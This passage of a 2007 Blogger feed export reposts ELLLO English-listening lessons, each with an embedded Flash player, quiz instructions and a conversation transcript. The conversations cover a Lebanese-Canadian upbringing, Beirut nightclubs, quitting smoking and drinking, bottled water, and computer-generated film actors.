rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4590569619260795829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4590569619260795829'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/573-canadian-town-rina-talks-about-her.html' title='#573 Canadian Town - Rina talks about her town in Canada'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5622818747327718583</id><published>2007-09-14T23:00:00.000+07:00</published><updated>2007-09-14T23:00:05.744+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#571 Two Cultures - Rina talks about being from two different cultures</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/571Q-Rina-TwoCultures.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/571Q-Rina-TwoCultures.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Rina, now you are Lebanese (Mm-hm) and you grew up in a very small Canadian town.&lt;br /&gt;&lt;br /&gt;Rina: Oh, yes.&lt;br /&gt;&lt;br /&gt;Todd: So you really have two cultures. What's it like growing up with two cultures?&lt;br /&gt;&lt;br /&gt;Rina: In the beginning it was very hard. My dad was very strict. I wasn't allowed to work. I had to fight to have my first job at 19.&lt;br /&gt;&lt;br /&gt;Todd: Wow. At 19.&lt;br /&gt;&lt;br /&gt;Rina: At 19. I wasn't allowed to have a boyfriend. I had to fight for that one two, and I had my first boyfriend at 18. Wasn't allowed to go out. First high school dance was grade 11. So, I hated it in the beginning. I was, but now I appreciate it and I know where my parents were coming from.&lt;br /&gt;&lt;br /&gt;Todd: So, it this the standard Lebanese family type culture where daughters are not allowed to work?&lt;br /&gt;&lt;br /&gt;Rina: Ah, yeah, my dad had basically believed that if I went out and worked I would, you know, be hit on by guys. It just wasn't a place for his daughter, and typically before, yeah, women don't work. They stay home. They took care of the kids. They, you know, it was a typical patriarchal society and my dad was very, very strict, and I spent a lot of my childhood pushing away my culture because of that.&lt;br /&gt;&lt;br /&gt;Todd: And how do you feel about your culture now?&lt;br /&gt;&lt;br /&gt;Rina: I'm very, very proud of it. I love it. It's nice to be different and I'm glad I get that chance to do that. Um, the only thing, when I was in Lebanon, it was hard as well because people didn't see me as Canadian, and they didn't see me as Lebanese You know I was, a lot of people didn't talk to me because of it. I went there and a lot of people shunned me basically, so.&lt;br /&gt;&lt;br /&gt;Todd: So even though you had no language barrier at all cause you speak Lebanese?&lt;br /&gt;&lt;br /&gt;Rina: Yep, yep, no, they basically, you know they were mad at me because I was too Canadian, or they were mad at me that I wasn't enough Canadian, and like, it was just, you know, insane.&lt;br /&gt;&lt;br /&gt;Todd: That's pretty tough.&lt;br /&gt;&lt;br /&gt;Rina: Yeah, well, they have their, they have their image of what you know, what Western society is like from movies and, you know, because you know I have my tattoos, they thought I was just basically Satin's spawn,and because I wasn't running around like a tramp, they thought well, "What is she is doing? What is she supposed to?" it was just the worst of both world's really.&lt;br /&gt;&lt;br /&gt;Todd: Ah, that's terrible.&lt;br /&gt;&lt;br /&gt;Rina: Yeah, so because, they do, they have, and actually I have to specify this: I was in a village. Like, both of my parents are from villages&lt;br /&gt;&lt;br /&gt;Todd: Oh, I see.&lt;br /&gt;&lt;br /&gt;Rina: In Beirut, it's different, but when I was in the villages, where I stayed the majority of the time, it was like that, but I got, I made my little older ladies love me, but they were talking to me at the end, having coffee with me while I smoked my cigarettes, yep, yep.&lt;br /&gt;&lt;br /&gt;Todd: Oh, that's good to hear.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5622818747327718583?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5622818747327718583/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/571-two-cultures-rina-talks-about-being.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5622818747327718583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5622818747327718583'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/571-two-cultures-rina-talks-about-being.html' title='#571 Two Cultures - Rina talks about being from two different cultures'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7983312384672995365</id><published>2007-09-14T22:57:00.002+07:00</published><updated>2007-09-14T22:57:51.897+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#570 Beirut Nights  - Rina talks about the night life in Beirut</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/570Q-Rina-NightClub.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/570Q-Rina-NightClub.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Rina, you were saying Lebanon, or Beirut, has really good night clubs. (Mm-hm) Ah, what's a really cool night club in Beirut?&lt;br /&gt;&lt;br /&gt;Rina: My favorite night club was rated 5th in Maxim magazine, and it's called B. O. 18, and what it used to be was a Palestinian burial ground and,&lt;br /&gt;&lt;br /&gt;Todd: Wait a minute! (Yeah) It, there's no longer dead people there?&lt;br /&gt;&lt;br /&gt;Rina: No, no, no. It used to be. (OK) Just during the civil war, cause there was a 17 year war, and what it is, you walk up, you don't see anything, it's just a big open space, but you see these, like, almost like subway stairs going down, and you go down these stairs and the theme inside this place is death, and it's like a big coffin, so you have red velvet walls and all the tables are little coffins with Palestinian soldier pictures on it and single rows and it's just a really good, it's a really neat club. And I went to a lot of theme clubs, too, I went to one that's called The Music Hall and it's like just, like a big theater, it was just amazing.&lt;br /&gt;&lt;br /&gt;Todd: So, what's The Music Hall like?&lt;br /&gt;&lt;br /&gt;Rina: Um, well they had that night I went, they had five different groups: One American group, one Spanish, one Lebanese, and they all just, it's like a theater, like scene one, scene two, and each scene would be a different music, genre like, you know.&lt;br /&gt;&lt;br /&gt;Todd: That's pretty cool.&lt;br /&gt;&lt;br /&gt;Rina: Yeah, it was cool.&lt;br /&gt;&lt;br /&gt;Todd: So, at these night clubs, how do people dress? What's the fashion?&lt;br /&gt;&lt;br /&gt;Rina: Um, Lebanese girls, and people that were like Lebanese girls, they're very trend conscious. Oh, yeah. Like if it's in a magazine, they're wearing it type thing. They look down on anybody, that doesn't.&lt;br /&gt;&lt;br /&gt;Todd: Ah, so.&lt;br /&gt;&lt;br /&gt;Rina: Yeah, and it's all like, done up like they went to the salon that day to go out sort of thing.&lt;br /&gt;&lt;br /&gt;Todd: Wow! (Yeah) So we're talking, like the skimpy dressed that they have?&lt;br /&gt;&lt;br /&gt;Rina: Everything. Oh, yeah.&lt;br /&gt;&lt;br /&gt;Todd: Your kidding. What do the guys dress like?&lt;br /&gt;&lt;br /&gt;Rina: Ah, the guys are, they dress prettier than some of the girls.&lt;br /&gt;&lt;br /&gt;Todd: No kidding.&lt;br /&gt;&lt;br /&gt;Rina: Yeah, the guys dress really well, but very, just as I said, very trend conscious. Everybody's very image, image conscious. It's really a lot like Japan in that way.&lt;br /&gt;&lt;br /&gt;Todd: Mm, oh cool. Thanks.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7983312384672995365?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7983312384672995365/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/570-beirut-nights-rina-talks-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7983312384672995365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7983312384672995365'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/570-beirut-nights-rina-talks-about.html' title='#570 Beirut Nights  - Rina talks about the night life in Beirut'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-4381588770970266000</id><published>2007-09-14T22:54:00.002+07:00</published><updated>2007-09-14T22:54:58.541+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#568 Smoking - Al shares his thoughts on smoking</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/568Q-Al-Smoking.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/568Q-Al-Smoking.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So Al, I must congratulate you, I hear you no longer smoke.&lt;br /&gt;&lt;br /&gt;Al: That's true, I'm now, six months ago I stopped smoking.&lt;br /&gt;&lt;br /&gt;Todd: Good man. So how did you do it?&lt;br /&gt;&lt;br /&gt;Al: I just, I went out and I had the best New Year's Eve I've ever had in my life, where I went to a music party, a club, and I smoked and drank as much as I wanted for about 12 hours. I finally left at 9 in the morning on New Year's Day, my lungs dry and and then decided I'm never going to do this and stopped.&lt;br /&gt;&lt;br /&gt;Todd: Wow, I mean, you must have had, you know, addictions, you must have wanted to have a cigarette a couple days later.&lt;br /&gt;&lt;br /&gt;Al: You know, I've stopped smoking several times and had very bad cravings before, and this time it was, a couple of times I felt like I might like one, but no, I didn't have any nicotine cravings. I was ready this time I think.&lt;br /&gt;&lt;br /&gt;Todd: So you just think where your body reaches a point where you can take no more.&lt;br /&gt;&lt;br /&gt;Al: Yeah definitely, and your mind reaches a point where you're sickened by your own disgusting behavior&lt;br /&gt;&lt;br /&gt;Todd: Right, so what do you think about smoking now?&lt;br /&gt;&lt;br /&gt;Al: I hate it. I'm completely, I'm totally anti-smoking, and I used to be very liberal about people's rights to smoke and now I think it should be completely . It should be illegal to buy tobacco.&lt;br /&gt;&lt;br /&gt;Todd: Wow, they should just make it illegal.&lt;br /&gt;&lt;br /&gt;Al: Make it illegal. It kills people.&lt;br /&gt;&lt;br /&gt;Todd: So what is your message to smoker? If someone out there is smoking today, they're a smoker, they want to quit, what's your message to them?&lt;br /&gt;&lt;br /&gt;Al: I read a really good, I'm reading a really cool book at the moment about therapy and in one of these stories in this book one guy says, imagine you have a pet dog, and you love this pet dog, and the pet dog is you body, now would you give poisoned, say you went to the pet store and you saw these cans of dog food with a poison mark on them, poisoned flavored dog food containing poison, would you buy that poison dog food and feed it to your dog? No, you wouldn't. That's exactly what you're doing to your body when you smoke. You're deliberately poisoning yourself so stop it.&lt;br /&gt;&lt;br /&gt;Todd: Well, good message and so for all of you people out there who are smoking, STOP!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-4381588770970266000?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/4381588770970266000/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/568-smoking-al-shares-his-thoughts-on.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4381588770970266000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4381588770970266000'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/568-smoking-al-shares-his-thoughts-on.html' title='#568 Smoking - Al shares his thoughts on smoking'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5283236732732484496</id><published>2007-09-14T22:52:00.000+07:00</published><updated>2007-09-14T22:52:13.695+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#567 Drinking - Al talks about drinking alcohol</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/567Q-Al-Drinking.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/567Q-Al-Drinking.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Al, you mentioned that you quit smoking.&lt;br /&gt;&lt;br /&gt;Al: Yes, I did.&lt;br /&gt;&lt;br /&gt;Todd: Now, I also heard that you quit drinking.&lt;br /&gt;&lt;br /&gt;Al: I did. Almost, about one week after I quit smoking, I quit drinking.&lt;br /&gt;&lt;br /&gt;Todd: Wow! No more? No beer? No wine with dinner?&lt;br /&gt;&lt;br /&gt;Al: No.&lt;br /&gt;&lt;br /&gt;Todd: Nothing?&lt;br /&gt;&lt;br /&gt;Al: No.&lt;br /&gt;&lt;br /&gt;Todd: Never?&lt;br /&gt;&lt;br /&gt;Al: Nothing, never.&lt;br /&gt;&lt;br /&gt;Todd: Have you even had a little bit since you quit?&lt;br /&gt;&lt;br /&gt;Al: No, I can't have a little bit. It's all or nothing for me so.&lt;br /&gt;&lt;br /&gt;Todd: Wow!&lt;br /&gt;&lt;br /&gt;Al: Yeah, nothing at all.&lt;br /&gt;&lt;br /&gt;Todd: That's pretty tough to do. Well, I mean, you seem pretty happy, I mean.&lt;br /&gt;&lt;br /&gt;Al: I'm very happy.&lt;br /&gt;&lt;br /&gt;Todd: OK. So what, why did you stop drinking? Why do you think it's better not to drink any alcohol?&lt;br /&gt;&lt;br /&gt;Al: I don't, I mean, I'm not against drinking the way I am against smoking. I knew that for me it was the best thing to do because drinking is getting in the way of other things I wanted to do with my life.&lt;br /&gt;&lt;br /&gt;Todd: Right.&lt;br /&gt;&lt;br /&gt;Al: So, and I didn't really, I drank a lot and I didn't enjoy it anymore.&lt;br /&gt;&lt;br /&gt;Todd: Yeah.&lt;br /&gt;&lt;br /&gt;Al: That was the thing.&lt;br /&gt;&lt;br /&gt;Todd: Actually, I have to feel a little bit the same way. I'm a social drinker. I only drink when I'm with friends and I really don't like drinking because I don't like how it makes me feel afterwards, like if I have a glass of wine or beer, I can't work afterwards and that bothers me but its nice to have a glass of wine with a good meal.&lt;br /&gt;&lt;br /&gt;Al: It is. Yes. There are things I miss about it but there are so many other good things that I've got from not drinking so I look at the balance and the sacrifice and for me it's worth it, not to drink. I can give up a glass of wine with dinner if get the other things I've got from it, so.&lt;br /&gt;&lt;br /&gt;Todd: Well, do you feel healthier? Does you body feel better?&lt;br /&gt;&lt;br /&gt;Al: I feel much healthier. I feel much more focused. My thinking is much clearer, and I like, I still go to bars and hang out with people and they drink and I don't and I go home, I love leaving a bar when I'm still sober. I love that feeling. I don't know why it's a fantastic feeling.&lt;br /&gt;&lt;br /&gt;Todd: Well, sounds like something maybe I should consider.&lt;br /&gt;Thanks Al&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5283236732732484496?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5283236732732484496/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/567-drinking-al-talks-about-drinking.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5283236732732484496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5283236732732484496'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/567-drinking-al-talks-about-drinking.html' title='#567 Drinking - Al talks about drinking alcohol'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-4119664386112679659</id><published>2007-09-14T22:49:00.002+07:00</published><updated>2007-09-14T22:49:57.065+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#566 Water - Al and Todd share their thoughts about water</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/566Q-Al-Water.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/566Q-Al-Water.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Todd: So, Al, we're going to talk about water. How much water do you drink every day?&lt;br /&gt;&lt;br /&gt;Al: I guess about three liters, so six of those 500 millileter, five or six of those 500 millileter bottles.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, that's a lot. That's about what I drink. Yeah, I think I'm addicted to water.&lt;br /&gt;&lt;br /&gt;Al: I definitely am.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, it's my security blanket. I must always have a bottle of water nearby to drink.&lt;br /&gt;&lt;br /&gt;Al: And you have a theory to about why I always feel like I get thirstier the more water I drink, and you have a theory about that don't you?&lt;br /&gt;&lt;br /&gt;Todd: Yeah, that's right. I think that the water bottle people somehow put a special chemical that always make you want to drink more water.&lt;br /&gt;&lt;br /&gt;Al: I agree.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, cause haven't you noticed that if you drink water from a tap, from the sink, you have a glass of water, you're not thirsty after you finish the glass, but when you finish a bottle of water, you're still thirsty.&lt;br /&gt;&lt;br /&gt;Al: One bottle is not enough. Yeah, definitely. A glass of tap water I would rarely finish the glass, but a bottle of bottled water, I need more, and like you said I need to know there is more close to me or I get upset.&lt;br /&gt;&lt;br /&gt;Todd: Well, do you still drink tap water?&lt;br /&gt;&lt;br /&gt;Al: No, never.&lt;br /&gt;&lt;br /&gt;Todd: Never?&lt;br /&gt;&lt;br /&gt;Al: I cook with it but I don't drink it.&lt;br /&gt;&lt;br /&gt;Todd: Why?&lt;br /&gt;&lt;br /&gt;Al: Ah, it tastes like crap.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, it does taste pretty bad. Well, we both live in Japan, how is the water in England?&lt;br /&gt;&lt;br /&gt;Al: It's about the same. It's kind of, it's drinkable in theory but it has this weird processed taste to it and doesn't smell all that good, so it's supposed to be safe to drink but I don't really believe that, for a minute.&lt;br /&gt;&lt;br /&gt;Todd: Actually the water where I'm from in Norhtern California is pretty good.&lt;br /&gt;&lt;br /&gt;Al: Is it?&lt;br /&gt;&lt;br /&gt;Todd: Yeah. Ah, that's the one thing you can drink from the tap but people still drink bottled water. Actually, I think the next time there's a huge, massive world war, it might be over water.&lt;br /&gt;&lt;br /&gt;Al: Yes.&lt;br /&gt;&lt;br /&gt;Todd: It's kind of scary.&lt;br /&gt;&lt;br /&gt;Al: It's like we live on this planet that is mostly water and we can't manage it properly. There isn't enough for everybody.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, no kidding, so anyway, for all you people out there, remember, be thankful for your water.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-4119664386112679659?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/4119664386112679659/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/566-water-al-and-todd-share-their.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4119664386112679659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4119664386112679659'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/566-water-al-and-todd-share-their.html' title='#566 Water - Al and Todd share their thoughts about water'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2374305560154951492</id><published>2007-09-14T22:34:00.000+07:00</published><updated>2007-09-14T22:34:22.326+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#565 Movies - Al talks about the future of movies</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/565Q-Al-Movie.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/565Q-Al-Movie.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: Al, you are a big movie fan?&lt;br /&gt;&lt;br /&gt;Al: Yes, I am.&lt;br /&gt;&lt;br /&gt;Todd: So as a big movie fan, what do you think about all the amazing technological special effects that they're doing now?&lt;br /&gt;&lt;br /&gt;Al: I think it's going to lead to a point where we don't need actors anymore.&lt;br /&gt;&lt;br /&gt;Todd: Seriously.&lt;br /&gt;&lt;br /&gt;Al: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: I mean, how could they do that though?&lt;br /&gt;&lt;br /&gt;Al: You'll be able to completely create a believable character. You can already create a believable character on a computer and give it life and emotion, and he won't be asking for 10 million pounds a movie. He'll be free to create and he'll do exactly what you say, and he'll come to the set on time. He won't need to come to the set will he. He won't turn up on the set drunk is what I mean. He'll be just completely at your mercy to do whatever you want with.&lt;br /&gt;&lt;br /&gt;Todd: So, you're saying in the future, they'll just write a story and then just like animation, they'll just design the character and then have the movie with the background and everything.&lt;br /&gt;&lt;br /&gt;Al: Yeah. Actors will only be important for reference. Directors will go on back and look at great performances and copy them, or copy nuance and performance for there computer generated character. You'll need the voice actors for awhile, and then computers will be able to create the human voice, recreate the human voice, too.&lt;br /&gt;&lt;br /&gt;Todd: Are there any examples of movies, where this is actually happening now?&lt;br /&gt;&lt;br /&gt;Al: You look at Yoda. In Star Wars Episode III, Yoda is completely believable.&lt;br /&gt;&lt;br /&gt;Todd: And that's all computer graphics, it's not?&lt;br /&gt;&lt;br /&gt;Al: It's all computer, I think he's a puppet, I think in this one he was completely computer animated. It was a puppet for some of Episode II.&lt;br /&gt;&lt;br /&gt;Todd: Yeah. That's pretty impressive.&lt;br /&gt;&lt;br /&gt;Al: Yeah, and scary. Human will be unnecessary soon.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2374305560154951492?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2374305560154951492/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/565-movies-al-talks-about-future-of.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2374305560154951492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2374305560154951492'/><link rel='alternate' type='text/html' 